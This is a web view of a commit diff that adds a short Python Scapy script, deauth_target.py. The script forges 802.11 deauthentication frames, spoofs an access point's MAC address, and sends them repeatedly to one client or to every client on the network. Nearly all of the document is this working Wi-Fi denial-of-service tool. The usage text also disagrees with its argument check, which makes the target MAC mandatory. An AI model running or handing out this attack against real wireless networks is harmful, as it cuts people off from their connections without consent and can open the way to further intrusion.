aboutsummaryrefslogtreecommitdiffstats
path: root/viensamoi/deauth_target.py
diff options
context:
space:
mode:
Diffstat (limited to 'viensamoi/deauth_target.py')
-rwxr-xr-xviensamoi/deauth_target.py39
1 files changed, 39 insertions, 0 deletions
diff --git a/viensamoi/deauth_target.py b/viensamoi/deauth_target.py
new file mode 100755
index 0000000..9151039
--- /dev/null
+++ b/viensamoi/deauth_target.py
@@ -0,0 +1,39 @@
+import sys
+import getopt
+from scapy.all import *
+
+REASON=0xb7ee
+option_count=1
+
+def usage():
+ print "usage: %s [-c count] iface mac_ap [mac_target]" % sys.argv[0]
+
+if __name__ == '__main__':
+ try:
+ opts, args = getopt.getopt(sys.argv[1:], "c:")
+ except getopt.GetoptError, err:
+ usage()
+ sys.exit(1)
+ for o, a in opts:
+ if o == "-c": option_count=int(a)
+ else:
+ print "unknown option %s" % o
+ sys.exit(1)
+
+ if len(args) < 3:
+ usage()
+ sys.exit(1)
+
+ iface = args[0]
+ mac_ap = args[1]
+ if (len(args) == 3):
+ mac_target = args[2]
+ else:
+ mac_target="ff:ff:ff:ff:ff:ff"
+
+ conf.iface=iface
+ # addr1 == destination
+ # addr2 == source
+ # addr3 == bssid
+ pkt = Dot11(addr1=mac_target, addr2=mac_ap, addr3=mac_ap)/Dot11Deauth(reason=REASON)
+ send(pkt,count=option_count)